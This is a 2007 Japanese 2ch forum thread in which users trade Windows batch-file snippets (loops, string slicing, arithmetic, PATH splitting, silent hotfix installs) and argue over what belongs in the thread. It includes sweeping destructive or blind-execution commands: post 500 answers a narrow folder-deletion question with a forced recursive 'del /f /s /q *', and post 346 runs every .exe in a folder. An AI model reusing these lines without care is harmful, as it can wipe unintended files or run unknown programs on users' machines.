その可能性を模索するのはこのスレにしか出来ない
345デフォルトの名無しさん:2007/02/04(日) 15:54:40
フォルダ内の*.exeファイル複数個(不特定)を全て実行する
ってバッチは作れませんか?
346デフォルトの名無しさん:2007/02/04(日) 16:12:34
>>345

@echo off
for %%i in (*.exe) do "%%i"
347デフォルトの名無しさん:2007/02/04(日) 16:19:02
>>346
どうもです。

あと出来ればでいいですが、引数をつけたりは出来ますか?
具体的にやりたいことは、WindowsのHotfixをCDに貯めて
OS再インストール後にバッチからHotfixを自動でインストールさせたいのですが、
引数で/qをつけないと確認メッセージが大量に出てくるので。
348デフォルトの名無しさん:2007/02/04(日) 16:20:55
とりあえずnliteでできることをバッチでやりたいらしいことは分かった。
349デフォルトの名無しさん:2007/02/04(日) 16:29:33
ほとんどのhotfixはnliteで統合できますが、nliteだと弾かれるのがあるので。
あと、hotfixを全て入れるとCD一枚に入りきらないので。
350あぼーん:あぼーん
あぼーん
351デフォルトの名無しさん:2007/02/04(日) 16:36:28
少しぐらい脳みそ使えよ、と
352デフォルトの名無しさん:2007/02/04(日) 21:12:28
コンソールを最小化するバッチファイル
@ECHO OFF
MORE +7 "%~f0" >"%~f0.vb"
"C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\vbc.exe" "%~f0.vb"
DEL "%~f0.vb"
"%~f0.exe"
DEL "%~f0.exe"
GOTO :EOF
Public Class Module1
Private Declare Auto Function GetConsoleTitle Lib "kernel32.dll" (lpConsoleTitle As System.Text.StringBuilder, nSize As Integer) As Integer
Private Declare Function ShowWindow Lib "user32.dll" (hwnd As Integer, nCmdShow As Integer) As Integer
Private Declare Function FindWindow Lib "user32.dll" Alias "FindWindowA" (ByVal className As String, ByVal WindowsName As String) As IntPtr
Public Shared Sub Main()
Dim lpConsoleTitle As New System.Text.StringBuilder(1024)
GetConsoleTitle(lpConsoleTitle,1024)
ShowWindow(FindWindow(Nothing,lpConsoleTitle.ToString()),6)
End Sub
End Class
353デフォルトの名無しさん:2007/02/04(日) 21:13:36
>>347
"%%i"のあとに/q付ければいいと思うけど。
354デフォルトの名無しさん:2007/02/04(日) 21:17:09
スレ違いといいながらも保守してくれるあたりが偉いね
355デフォルトの名無しさん:2007/02/04(日) 22:09:03
ノートンが反応したけどウイルス?
356デフォルトの名無しさん:2007/02/04(日) 22:46:50
>>355
ウイルスが1人常駐してますが気にせずに
357デフォルトの名無しさん:2007/02/05(月) 11:39:35
ここはPowerShellアリなのだろうか
358デフォルトの名無しさん:2007/02/05(月) 12:08:43
PowerShellはcmd.exeやcommand.comとは違う系統なので
↓がいいのでは。
Windows PowerShell (正式版リリース)1.0
http://pc10.2ch.net/test/read.cgi/tech/1163818863/l50
359デフォルトの名無しさん:2007/02/05(月) 13:27:10
Windows板のが本スレらしい

Windows PowerShell (正式版リリース)1.0
http://pc10.2ch.net/test/read.cgi/win/1163764836/
360デフォルトの名無しさん:2007/02/05(月) 18:37:29
>>359
本スレでなくてwin板のPowerShellスレってだけだろ
361デフォルトの名無しさん:2007/02/05(月) 21:21:10
どっちもあんまり賑わってないようだが。
362デフォルトの名無しさん:2007/02/06(火) 01:22:32
バッチファイルに配列ってある?
363デフォルトの名無しさん:2007/02/06(火) 01:28:09
ないよ
364デフォルトの名無しさん:2007/02/06(火) 01:35:14
変数名を動的に使えばそれっぽいことは出来るな
365デフォルトの名無しさん:2007/02/07(水) 01:15:54
最近、バッチファイルにハマってて、覚えたてオ○ヌーのごとく、
可能な限りいろんなことバッチファイルでやってるんですが、
バッチファイルでパイプの入力って利用できんもんなんでしょうか?
これが可能ならできることの幅が広がって非常にうれしいのですが。
366デフォルトの名無しさん:2007/02/07(水) 01:34:14
>>365
幅が広がって良かったね
367デフォルトの名無しさん:2007/02/07(水) 01:58:52
>>366
できるの? どうやって受け取るの?

@copy con %TEMP%input_buffer.txt >nul 2>nul

とかやってもできないし・・・
368デフォルトの名無しさん:2007/02/07(水) 08:17:05
>>367
具体的に何をやりたいの?
369デフォルトの名無しさん:2007/02/07(水) 08:41:58
パイプとか基本的なパソコンの操作方法の質問はWindows板へどうぞ
ここはパソコンの使い方を教えるところではありません。

Windows
http://pc10.2ch.net/win/

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
http://pc10.2ch.net/test/read.cgi/win/1152544955/ バッチならなんでもOK
DOS由来コマンドだけでなく、Windows バージョンアップのたびに拡充されてきたコマンド、
wsh(cscript)、cygwin、Resource Kit、Support Tools、その他のフリーソフト等ふくめ
コマンドラインインタフェースに関するネタならなんでもOK。
370デフォルトの名無しさん:2007/02/07(水) 10:06:07
>>368
hoge.cmd | hige.cmd | mage.cmd
みたいな感じで標準入出力を使ってフツーのコマンドラインのプログラムと
同様にパイプで他のコマンドと連携させたいです。
371デフォルトの名無しさん:2007/02/07(水) 10:08:37
スレ違い
372デフォルトの名無しさん:2007/02/07(水) 10:22:17
>>369,>>371
これのどこがスレ違いなん?
373デフォルトの名無しさん:2007/02/07(水) 10:31:58
http://pc10.2ch.net/tech/
>この板はプログラムを作る人のための板です。
>プログラム・ソフトの使い方は PC 初心者板やソフトウェア板へ。

使い方の話は板違いでスレ違い
374デフォルトの名無しさん:2007/02/07(水) 12:23:14
>>373
アホ! これのどこが使い方の話なんだよ!
375デフォルトの名無しさん:2007/02/07(水) 12:50:32
やり方が解ってない奴にとっては使い方に見えないかも知れないけど
解ってる奴からすれば、「あるコマンドの使い方」に過ぎないんだよ。
376デフォルトの名無しさん:2007/02/07(水) 12:54:15
コンパイラやC言語の使い方もPC 初心者板やソフトウェア板へ。
377デフォルトの名無しさん:2007/02/07(水) 12:54:55
>>372>>374
頭の不自由な人にはかまわないほうがいいよ。

こういうことはできるよ。

D:\>type a.cmd
@echo hello, world

D:\>type b.cmd
@echo off
set /p A=
echo [%A%]

D:\>a.cmd | b.cmd
[hello, world]

D:\>
378デフォルトの名無しさん:2007/02/07(水) 13:05:20
>>367
バッチファイルプログラミングする場合は、
コマンドの前に@をつけたり、標準出力、標準エラー出力をnulに
リダイレクトするのはコマンドが正常に動くことを確認してからにすべき。

また、環境変数TEMPにはスペースが入っている場合があるので
それでは駄目だ。

>>370
問題は hoge.cmd , hige.cmd , mage.cmd の中身にあるんだから
それを書かないと意味無い。
379デフォルトの名無しさん:2007/02/07(水) 13:51:37
>>376
C言語 = プログラミング言語
バッチ = OSの基本機能(DOS/Windows)

OSの使い方はWindows板へ

Windows
http://pc10.2ch.net/win/

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
http://pc10.2ch.net/test/read.cgi/win/1152544955/ バッチならなんでもOK
DOS由来コマンドだけでなく、Windows バージョンアップのたびに拡充されてきたコマンド、
wsh(cscript)、cygwin、Resource Kit、Support Tools、その他のフリーソフト等ふくめ
コマンドラインインタフェースに関するネタならなんでもOK。
380デフォルトの名無しさん:2007/02/07(水) 14:09:22
>>379
保守乙
381デフォルトの名無しさん:2007/02/07(水) 23:13:46
1.サーバーある場所以下のフォルダ内のbmp拡張子を全部D:にもってきたいんですが
どうすればいいでしょうか?

2.bmpをtool.exeを通すとtest.bmpとして吐き出されるexeがあります。
1で落としてきたファイルをこのツールを通してもとのファイル名に書き換えたいです。

どなたかバッチに詳しい人アドバイス宜しくお願いします
382デフォルトの名無しさん:2007/02/07(水) 23:51:41
>>381
1. カレントフォルダまたは第1パラメータで指定したフォルダ以下の
.bmpファイルをD:\にコピー

if not (%1)==() pushd "%~f1"
for /d %%i in (*) do "%~f0" "%%i"
for %%i in (*.bmp) do copy "%%i" d:\
popd

2. カレントフォルダの.bmpをtool.exeを通して元のファイル名に戻す
for %%i in (*.bmp) do (
tool.exe "%%i"
move /y test.bmp "%%i"
)
383デフォルトの名無しさん:2007/02/08(木) 01:55:32
>>377
行数をなんらかの形で知ることができるケースなら、それでいけますね。
・・・自分でもいろいろ試してみたけど、C言語で標準入力を読んで
そのまんま標準出力に吐いちゃうプログラムを用意すれば一発でできました。
が、やっぱりこーゆー自作の補助コマンドに頼らずに処理したい。
もうちょっと頑張ってみます。

>>378
前半→ごもっともです。
後半→特定の目的の為ではなく、手段として押さえておきたいんで。
384デフォルトの名無しさん:2007/02/08(木) 09:02:48
>>381-382
質問してるやつも答えてるやつもレベル低いな
それぐらいの簡単なファイル操作さえまともにできないのか
385デフォルトの名無しさん:2007/02/08(木) 09:10:57
釣りしてるやつも釣られてるやつもレベル低いな
もっと美味い餌にしてくれクマー
386デフォルトの名無しさん:2007/02/08(木) 16:57:02
>>381
OSの基本操作はWindows板へ

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
http://pc10.2ch.net/test/read.cgi/win/1152544955/ バッチならなんでもOK
DOS由来コマンドだけでなく、Windows バージョンアップのたびに拡充されてきたコマンド、
wsh(cscript)、cygwin、Resource Kit、Support Tools、その他のフリーソフト等ふくめ
コマンドラインインタフェースに関するネタならなんでもOK。
387デフォルトの名無しさん:2007/02/08(木) 21:22:20
>>386
ひねりがないな
もう秋田
388デフォルトの名無しさん:2007/02/08(木) 21:51:42
ひねる頭がない
389デフォルトの名無しさん:2007/02/08(木) 23:26:06
だってコピペポだもの
390デフォルトの名無しさん:2007/02/12(月) 12:39:45
391デフォルトの名無しさん:2007/02/12(月) 13:19:44
でも「掲示板・スレッドの趣旨とは違う投稿」には該当しないんだな
392デフォルトの名無しさん:2007/02/12(月) 20:32:23
すみません。どなたがご教授お願いします。
バッチファイルで計算をしたいと思ってます。
5÷2を計算した場合に、2.5と値を出したいのですが、
以下のように記述すると、小数点が切り捨てになってしまい困ってます。

set /a num=5/2
echo %num%
2


小数点を下1桁を表示するような方法がございましたら
ご教授お願い致します。
393デフォルトの名無しさん:2007/02/12(月) 20:47:21
@echo off
set x=5
set y=2
set /a num=10*x/y
set num=%num:~0,-1%.%num:~-1%
echo %num%
394375:2007/02/12(月) 21:07:09
>>376
ありがとうございます!
出来ました!
395デフォルトの名無しさん:2007/02/12(月) 21:19:48
スレ違い
396デフォルトの名無しさん:2007/02/12(月) 21:31:44
バッチで浮動小数点計算をやろうとするところに感銘
397デフォルトの名無しさん:2007/02/12(月) 21:59:33
すみません。誰か教えてください。
数字をカンマで区切りたいです。

100と入力したら100
1000000と入力したら1,000,000です。

よろしくお願いします。
398デフォルトの名無しさん:2007/02/12(月) 22:13:08
>>397
そういうことやりたければバッチ以外を使うことをお勧めします
バッチでそんなことやる人がいたら頭のおかしい人です
399デフォルトの名無しさん:2007/02/12(月) 22:16:46
バッチでカンマ区切りをやろうとするところに感銘
頭がおかしいとかそういう問題ではないね
400デフォルトの名無しさん:2007/02/12(月) 22:22:10
>>398
お前、このスレにずっと粘着して、スレ違いを連呼してるヤツだろ?
少なくともお前が頭がおかしいことは間違いないから
騙されたと思って一度、林先生に診てもらってこい。
401デフォルトの名無しさん:2007/02/12(月) 22:28:46
>>399
むしろ、このスレの存在意義はそういう事をする為だと思っている俺
402デフォルトの名無しさん:2007/02/12(月) 22:29:48
>>397
@echo off
set A=123456789012345678
set B=
:X
set B=%A:~-3%,%B%
set A=%A:~0,-3%
if not "%A%"=="" goto X
set A=%B:~0,-1%
set B=
echo %A%
403デフォルトの名無しさん:2007/02/12(月) 22:50:49
>>385
出来ました
ありがとうございます
404デフォルトの名無しさん:2007/02/12(月) 22:55:31
@echo off
setlocal EnableDelayedExpansion
if "%1"=="" goto :EOF
set n=%1
:bLoop
if /I %n% leq 999 (
  set r=%n%%r%
  goto :eLoop
)
set r=,%n:~-3%%r%
set n=%n:~0,-3%
goto :bLoop
:eLoop
(
  endlocal
  set result=%r%
)
405404:2007/02/12(月) 23:02:02
よく考えたら EnableDelayedExpansion 要らんかも
俺がバッチ書く時のクセが出た、すまんね
406デフォルトの名無しさん:2007/02/12(月) 23:29:19
ここ以外でバッチのスレなかったっけ?
スレ検索したけど見つからない
407デフォルトの名無しさん:2007/02/12(月) 23:32:40
>>406
Windows板のやつ?
408デフォルトの名無しさん:2007/02/12(月) 23:32:58
バッチ専用スレはここだけのはず
409デフォルトの名無しさん:2007/02/12(月) 23:42:52
>>404の最後の意味が解らん
410デフォルトの名無しさん:2007/02/12(月) 23:51:52
>>406
たぶんWindows板
あっちがバッチの本スレ
411デフォルトの名無しさん:2007/02/12(月) 23:53:23
本スレじゃないだろ、常識的に考えて
412デフォルトの名無しさん:2007/02/12(月) 23:53:30
413406:2007/02/12(月) 23:56:04
>407-412
それですどうも
414デフォルトの名無しさん:2007/02/12(月) 23:56:49
自演かよ
415375:2007/02/12(月) 23:59:06
すみません、>>397は自分ではありませんが、
↓のような指定の方法について解説されているサイトを
教えていただけないでしょうか。
ググったのですが、なかなかヒットしません。
キーワードだけでもお願い致します。

set num=%num:~0,-1%.%num:~-1%
set B=%A:~-3%,%B%
set A=%A:~0,-3%

416デフォルトの名無しさん:2007/02/13(火) 00:01:52
>>415
set /?
の中に書いてあるよ(環境変数の置換)
417375:2007/02/13(火) 00:16:48
>>416
ありがとうございます!
助かります
418404:2007/02/13(火) 00:35:44
>>409
call されたとき、呼び出し元に値を戻すためにああやって書いた。
419デフォルトの名無しさん:2007/02/13(火) 17:31:11
環境変数PATHをセミコロンで列挙されても判り辛いので
改行して表示するバッチを書いてみたのですが
PATHにダブルクォートが入っていると失敗します。
何か良い知恵はありませんでしょうか。
@echo off
setlocal
  :bLoop
  if defined path (echo off) else goto :eLoop
    set c=%path:~0,1%
    set path=%path:~1%
    if "%c%"==";" (
      echo %s%
      set s=
    ) else set s=%s%%c%
  goto :bLoop
  :eLoop
  if defined s echo %s%
endlocal
420デフォルトの名無しさん:2007/02/13(火) 17:54:56
for %%1 in (%PATH%) do echo %%1
421デフォルトの名無しさん:2007/02/13(火) 18:40:33
初心者はWindows板へ池ということだな
422デフォルトの名無しさん:2007/02/13(火) 18:42:11
嵐は相変わらず論理が破綻してるな
423デフォルトの名無しさん:2007/02/13(火) 18:50:40
嵐が嫌なら向こうに移ればいいんじゃね?ここがスレ違いかどうかは別として、向こうでバッチ関連の話題を扱ってるのは
確かなんだから、移ったところで話題的には支障無いだろう。文句言いながら、いつまでもここに居座り続けてる奴を見ると、
執拗に誘導してる奴と、それに反応してる奴は同一人物なのではと思えてくる。少なくとも、同一レベルであることだけは間違いない。
424デフォルトの名無しさん:2007/02/13(火) 18:53:27
>>423
>>423も同類
425デフォルトの名無しさん:2007/02/13(火) 19:03:41
424
426419:2007/02/13(火) 19:17:38
>>420
まぢで…? 少しショックです。

強いて言うなら、"" 無しで空白入りのパス
(そんな指定をするインストーラもありWinもご丁寧に認識する)
が分離してしまうのが気になります。

とは言え、そんな指定自体が問題かも知れないですね。
ありがとうございました!
427デフォルトの名無しさん:2007/02/13(火) 20:37:14
for /f "usebackq delims=;" %%1 in ('%PATH%') do echo %%1
でいくはずと思ったが、ng 長さ制限に引っ掛かったかも?
for /f "delims=;" %%1 in ('echo %PATH%') do echo %%1
ならok
428デフォルトの名無しさん:2007/02/13(火) 20:56:49
と思ったら全然だめですね
@echo off
setlocal
:loop
for /f "delims=; tokens=1*" %%1 in ('echo %%PATH%%') do (
echo %%1
set path=%%2
if defined path goto loop
)
429デフォルトの名無しさん:2007/02/13(火) 22:23:15
馬鹿にされたのがよっぽどくやしかったんだな
430デフォルトの名無しさん:2007/02/13(火) 22:51:08
バグ?
for /f "usebackq delims=;" %%1 in ('a a;b b;c c') do echo %%1
431デフォルトの名無しさん:2007/02/13(火) 22:58:43
>>430
プログラミング以前に使い方わかってない人はWindows板へ
432デフォルトの名無しさん:2007/02/14(水) 00:46:43
>431
つまりキミにも解らないんだね
433375:2007/02/14(水) 00:51:16
度々すみません。昨日バッチファイルの計算で質問したものです。
小数点の表示は何となく分かったのですが、
「0.いくつ」を表示させる方法がわかりません。

1÷3=0.33と表示させたいと思ってます。

@echo off
set x=1
set y=3
set /a num=10*x/y
set num=%num:~3,1%.%num:~-2%
echo %num%

上のようにすると、「.3」と表示され、初めの"0"が省略されてしまいます。
すみません。どうすれば良いか教えてください。
よろしくお願いします。
434デフォルトの名無しさん:2007/02/14(水) 00:55:07
>>433
if で比較演算子使って、場合分けが確実かな。
435375:2007/02/14(水) 01:18:55
>>434
レス有難うございます。
もう少しヒントを頂けないでしょうか・・・

436デフォルトの名無しさん:2007/02/14(水) 01:34:06
@echo off
setlocal
for %%1 in (%PATH: =::%) do (
set x=%%1
call echo %%x:::= %%
)
437デフォルトの名無しさん:2007/02/14(水) 06:14:57
cd c:\program files\gikonavi\log\2ch\news4vip
del *.dat
del *.tmp
exit

VIPのログ消去
438デフォルトの名無しさん:2007/02/14(水) 12:51:57
>>437
バッチファイルプログラミングの鬼才現る
439デフォルトの名無しさん:2007/02/18(日) 16:16:07
setlocal enabledelayedexpansion
set cr=^(改行)
(改行)
(改行)
echo %path:;=!cr!%
440デフォルトの名無しさん:2007/02/18(日) 23:46:52
awkを持ってたら
echo %PATH% | awk BEGIN{RS=\";\"}{print}
なんてやりたくなってしまう。
441デフォルトの名無しさん:2007/02/19(月) 00:50:47
runasで一時的にadminになってcmdを実行したいのですが、このとき、特定のパスで開くようにするにはどうすればいいんでしょうか
442デフォルトの名無しさん:2007/02/19(月) 01:44:08
cmd /k cd 特定のパス
443デフォルトの名無しさん:2007/02/19(月) 08:47:09
>>439
こんなこと出来たのかー!
^ の表記って他に何が出来るんだろう
444デフォルトの名無しさん:2007/02/19(月) 10:38:16
コンソールの使い方はスレ違い
445デフォルトの名無しさん:2007/02/19(月) 10:40:14
>>441-442
パソコンの使い方もスレ違い
446デフォルトの名無しさん:2007/02/19(月) 18:29:07
コンソールの使い方とかパソコンの使い方とかは
書いてないのでスレ違いではありませんね。
447デフォルトの名無しさん:2007/02/19(月) 19:45:59
>>1に従うと拡張子を".cmd"にしても「バッチファイルプログラミング」ではなくなってしまう件
448デフォルトの名無しさん:2007/02/19(月) 19:58:52
>>447
御主、頭固いな
449デフォルトの名無しさん:2007/02/19(月) 20:15:27
>>448
御主、頭固いな

447の言ってるのは、>>1に書いてあることだけがこのスレのルールでは無いってことだろ。
>>1に反していても、このスレの範疇となる話題はあるし、逆に>>1に反していなくても
スレ違いとなる話題もあるってこった。普通に見れば446の方が頭固い。
450デフォルトの名無しさん:2007/02/19(月) 21:21:41
>>433
set /a num=10*x/y
set /a i=num/10
set /a f=num-i*10
echo %i%.%f%
451デフォルトの名無しさん:2007/02/20(火) 19:21:09
>>445
なんでだよ。バッチファイルの中で使うんだよ
452デフォルトの名無しさん:2007/02/20(火) 19:36:48
バッチ自身がやってるわけじゃないからスレ違い
453デフォルトの名無しさん:2007/02/20(火) 19:51:41
ここは初心者にパソコンの使い方を教えるスレです
454デフォルトの名無しさん:2007/02/20(火) 20:00:18
プログラムを作る板なのに
プログラムの使い方を質問する人がたまにいるね
455デフォルトの名無しさん:2007/02/21(水) 11:33:07
>>450
おまいすげーな…。
俺はてっきりsubstr()みたいなので生成後の文字列を判定するのかな、どうやるんだろう
って考えてたよ。
ちなみにWindowsのDosのバッチにsubstring関数みたいなのってあるんでしょうか?
456デフォルトの名無しさん:2007/02/21(水) 12:12:07
>>455
set /? より。↓のようなのはあります。

また、展開の副文字列を指定することもできます。

%PATH:~10,5%

は、PATH 環境変数を展開し、展開結果の 11 番目 (オフセット 10) の文字
から始まる 5 文字だけを使います。長さが指定されなかった場合は、変数の
値の残りの長さを既定値とします。オフセットまたは長さのどちらかが負の値
の場合、環境変数の値の長さに指定されたオフセットまたは長さを足してその
数を使います。

%PATH:~-10%

は、パス変数の最後の10 文字が展開されます。

%PATH:~0,-2%

は最後の 2 文字以外のすべてが展開されます。
457デフォルトの名無しさん:2007/02/21(水) 12:25:16
>>456
ほうほう。サンクスコ。
最新のMS−DOSはバッチで何でもできるんだ…。PERLいらずだな。
458デフォルトの名無しさん:2007/02/21(水) 14:43:46
cmd.exeになっていろいろできるようになったとは言え、
PerlやAWKでやったほうがすっきりすることが多いね。
459デフォルトの名無しさん:2007/02/21(水) 15:15:18
PerlやAWKは標準環境では使えないから、導入から結果を出すまでを考えれば
WSHの標準で使えるjsやvbsでやった方がスマートだよ。
引きこもって自分のPCしか弄らない人には関係ないかもしれないけど。

AWKはあんまり弄ったこと無いけどPerl、Python、Ruby使えたって、
表で役に立ったことなどほとんど無い。
460デフォルトの名無しさん:2007/02/21(水) 15:26:22
バッチプログラミング以外はWindows板へ

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
http://pc10.2ch.net/test/read.cgi/win/1152544955/
461デフォルトの名無しさん:2007/02/21(水) 16:34:29
過疎ってるんだからちょっとした独り言ぐらいさせてやれ。
462デフォルトの名無しさん:2007/02/21(水) 16:57:05
このスレは存在価値がないということか
463デフォルトの名無しさん:2007/02/21(水) 19:04:51
ニュー即にハルヒスレがあるように、ちょっと脱線しても多目に見ようじゃないか
464デフォルトの名無しさん:2007/02/21(水) 19:13:01
過疎スレに迷い込んでくる初心者を本スレへ誘導しないと
465デフォルトの名無しさん:2007/02/21(水) 19:54:30
http://qb5.2ch.net/test/read.cgi/saku/1031353962/291
>291 :削除聞仲 ★ :2007/02/11(日) 23:56:54 ID:???0
>>>290
>住民さんが嫌がっていて152で謝っているのになぜ続けるのでしょう?
>嫌がらせに見えますのでレスの付いてないところだけGL6として削除しました。
>

あまり執拗に続けると、このスレの住人だけじゃなく大勢に迷惑かける
事を判ってないんだな。
466デフォルトの名無しさん:2007/02/21(水) 19:57:14
過疎スレはまとめた方がいい
467デフォルトの名無しさん:2007/02/21(水) 19:58:20
バカな奴だ
468デフォルトの名無しさん:2007/02/21(水) 20:04:59
ネタが少なく、過疎ってる
469デフォルトの名無しさん:2007/02/21(水) 20:51:20
ここは「あえてバッチでやってみるスレ」として成立させないか?
Win板のスレで「バッチで浮動小数点計算やりたいです」って書いたら
スクリプト使えって言われて終わりだろうがここならそれが可能だと思う
470デフォルトの名無しさん:2007/02/21(水) 21:10:54
>>1
>バッチファイルプログラミングとは・・・・
>・ファイル拡張子が ".bat"
>・複数のコマンドを使い、実行させるバッチファイルを作る

ということなら、awkやsedを組み合わせてもおk?
471デフォルトの名無しさん:2007/02/21(水) 21:12:28
小学生じゃないんだから自分で判断しろよ。


小学生ならごめんね。
472デフォルトの名無しさん:2007/02/21(水) 21:19:52
>>470
おkだろ。程度にもよるけど。
473デフォルトの名無しさん:2007/02/21(水) 21:42:34
あえて最悪の選択手段を選ぶのは個人の自由だとしても
無知な初心者を巻き添えにするのはかわいそう
474デフォルトの名無しさん:2007/02/21(水) 21:50:47
ここら辺でどの範囲までがこのスレで言う「バッチファイルプログラミング」なのか
きちんと決めといた方がいいんじゃないか?
書き込みがあるたびに病気の人が出てくるのもウザいし。
475デフォルトの名無しさん:2007/02/21(水) 21:54:20
決めたとしても病人は相変わらずウザいだろう。
476デフォルトの名無しさん:2007/02/21(水) 21:59:25
awkやsedを組み合わせは使わない人にはウザいだけだよ。
batに対する嫌がらせとしか思えない。
477デフォルトの名無しさん:2007/02/22(木) 00:54:04
そもそもバッチ処理をするためのものなんだから
.batでawkは使うな、ってのは本末転倒な意見だな。

もちろん「あえてバッチでやってみるスレ」とするのなら、それはそれで良いが。
478デフォルトの名無しさん:2007/02/22(木) 08:43:44
>>477
あえてここでawkをやろうとするのが本末転倒
479デフォルトの名無しさん:2007/02/22(木) 09:26:00
>478
過疎スレなんだし大目に見てやれ
480デフォルトの名無しさん:2007/02/22(木) 11:51:28
awkやsedってSFU(ServiceForUnix)に入ってるんだったっけ?
標準じゃないよな?
まず標準のみの環境かどうかが(ry
481デフォルトの名無しさん:2007/02/22(木) 12:03:52
メタ議論ウザス
482デフォルトの名無しさん:2007/02/25(日) 17:02:16
>>450
set /a f=i % 10
があったね
483デフォルトの名無しさん:2007/02/25(日) 21:30:39
すみません、DOS初心者です。
質問させてください。

test.txtの内容
--------------------
aaa(111)  bbb(222)
ccc(333)  ddd(444)
--------------------
というのを
test2.txt
--------------------
aaa(111)
bbb(222)
ccc(333)
ddd(444)
--------------------
というように並べて出力させたいのです。
aaa(111)  bbb(222)←文字列の間にはtabで区切られています。

for文でできそうな感じですが、ド素人なものでよくわかりません(>_<)
どなたか教えてください、お願いします!
484483:2007/02/25(日) 21:37:03
すみません、使ってるOSはWindowsXP home editionです
485デフォルトの名無しさん:2007/02/25(日) 21:39:31
マルチ死ねよ
486483:2007/02/25(日) 22:38:08
スマソ、自己解決しますた

@echo off
for /F "tokens=1,2" %%a in (test.txt) do echo %%a >>test2.txt |echo %%b>>test2.txt

>>485
荒らしてるわけではないんだから死ねはないんじゃないの
487デフォルトの名無しさん:2007/02/25(日) 22:47:03
死ねばいいよ
488デフォルトの名無しさん:2007/02/25(日) 23:13:53
>>487
必死だな
489デフォルトの名無しさん:2007/02/25(日) 23:26:08
マルチなんて荒らしみたいなもんだろ
490デフォルトの名無しさん:2007/02/26(月) 01:23:11
>>489
同意。本人にそのつもりは毛頭ないのがさらにたちが悪い。
491デフォルトの名無しさん:2007/02/26(月) 01:55:36
いちいちマルチかどうか確認してるのがキモイ
492デフォルトの名無しさん:2007/02/26(月) 02:31:39
>>491
意図せずにマルチを見つけることはあっても、
わざわざマルチかどうか探すヤツなんて居ねぇから。
493デフォルトの名無しさん:2007/02/26(月) 02:32:40
VISTAでもバッチできるの?
494デフォルトの名無しさん:2007/02/26(月) 04:37:32
>>491
専ブラでお気に入りスレの更新チェック

新着があるスレを開いていくと、同じ質問をハケーン

マルチ氏ね

ってだけでしょ。
492の言うとおり、わざわざ確認なんかしなくても、
普通に新着をチェックしてればマルチは目に付く。
495デフォルトの名無しさん:2007/02/26(月) 06:39:52
>>491
同じようなスレやコミュニティは住人もかなり被ることが多いから
嫌でも目につくんだよ
496デフォルトの名無しさん:2007/02/26(月) 09:17:42
自分はマルチするためにあちこち投下してるくせに答える方も同じように巡回してるとか
少しも思わない想像力のなさが嫌われる原因
497デフォルトの名無しさん:2007/02/26(月) 16:32:34
質問があります。
WindowsXPでですが、今日日付で作られたディレクトリを、自動削除する
バッチを作りたいと思っています。

例→20070226

今日も明日も明後日も、このバッチを起動しただけで削除したいのです。
rmdir /S /Q *
でいけると思ったのですが、
「ファイル名、ディレクトリ名、またはボリューム ラベルの構文が間違っています。」
というエラーが出てしまいます。

どのようにしたら実現できるでしょうか?
なお店で売っているような標準の環境です。(sedやgrepはありません)
498デフォルトの名無しさん:2007/02/26(月) 16:58:50
rmdir /S /Q %date:/=%
499デフォルトの名無しさん:2007/02/26(月) 17:02:08
>>487
まずコマンドラインの使い方を勉強しましょう
windows板にコマンドラインのスレがあるからそこへ行くといい
500デフォルトの名無しさん:2007/02/26(月) 17:10:06
del /f /s /q *
501デフォルトの名無しさん:2007/02/26(月) 23:23:05
>>486
なんでパイプなんか使ってんの?
502デフォルトの名無しさん:2007/02/26(月) 23:25:41
パイプの使い方はWindows板で
503デフォルトの名無しさん:2007/02/26(月) 23:27:53
NGワード: Windows板
にしたら少しは平和になれるかも
504デフォルトの名無しさん:2007/02/26(月) 23:34:55
@echo off
505デフォルトの名無しさん:2007/02/26(月) 23:41:09
DOS 3.3の頃は @echo off と書けなかったから
echo offと表示されたものをエスケープシーケンスを使って
わざわざ消したものだったなあ。
506デフォルトの名無しさん:2007/02/26(月) 23:43:25
@echo off
echo off

ってのはよく見る。
507デフォルトの名無しさん:2007/02/26(月) 23:46:30
>>506
初めてみたけど、そう書く人がよくいるのか。
508デフォルトの名無しさん:2007/02/27(火) 00:15:04
>>506 の周りだけだろ。
509デフォルトの名無しさん:2007/02/27(火) 14:17:40
DOSの頃はバッチの1行目に
echo %ECHO%
とよく書いてた。普段は環境変数ECHOにoffをセットしておいて、
デバッグのときはonをセットする。
510497:2007/02/27(火) 17:42:05
>>489-500
返答が遅くなってしまいましたが、ありがとうごさいます。
511デフォルトの名無しさん:2007/02/28(水) 00:54:40
コマンドプロンプトでD:\が表示されているところから
C:\AAA
以下の無数にあるフォルダの中のZTNというフォルダ内のbmpの
拡張視のファイルだけをD:\PPPフォルダの中に入れたいです。
512デフォルトの名無しさん:2007/02/28(水) 01:01:28
>>511
xcopy
513デフォルトの名無しさん:2007/02/28(水) 01:19:48
cache内のファイルを削除したいんですけど
cd cache
del *
これだと確認メッセージが出て自動で削除できません。
パラメータにそれっぽいのがなかったので。
強制削除はバッチファイルから行えないんですか?
514デフォルトの名無しさん:2007/02/28(水) 01:38:01
del /?
515デフォルトの名無しさん:2007/02/28(水) 09:54:22
放っておくと初心者にパソコンの使い方を教えるスレになってしまうな
やっぱこまめに誘導しないとダメか?
初めて来て過去ログ読まずに質問するやつがほとんどだからな
516デフォルトの名無しさん:2007/02/28(水) 10:02:50
>>513
パソコン初心者がいきなりプログラミングは無謀
パソコン初心者向きの板へどうぞ

PC初心者
http://pc9.2ch.net/pcqa/

Windows
http://pc10.2ch.net/win/

ソフトウェア
http://pc9.2ch.net/software/
517デフォルトの名無しさん:2007/02/28(水) 12:48:54
いいスレタイ案を思いついた!

バッチファイルプログラミングと初心者にパソコンの使い方を教えてこまめに誘導するスレ 4.bat

まぁ次スレは建てる必要ないけどね。といっても、勘違いに踊ら(ry
518デフォルトの名無しさん:2007/02/28(水) 13:55:43
>517
長いから書くなら>>1
519デフォルトの名無しさん:2007/02/28(水) 13:58:39
つかスレタイに % って使えんの?
使えるなら %4 がいいなー
520デフォルトの名無しさん:2007/02/28(水) 16:18:21
誘導厨は無視しましょう

>>517
却下
521デフォルトの名無しさん:2007/02/28(水) 16:57:11
こういう利用がほとんどならプログラム板にある必要ない
次スレ不用
522デフォルトの名無しさん:2007/02/28(水) 17:04:48
不要だと思うなら来なければいいだけ
523デフォルトの名無しさん:2007/02/28(水) 17:09:42
寂しくて2chで馴れ合う中年釣り師と釣られ師カワイソス
524デフォルトの名無しさん:2007/02/28(水) 22:26:46
>>523
お前そんなことしてたのか
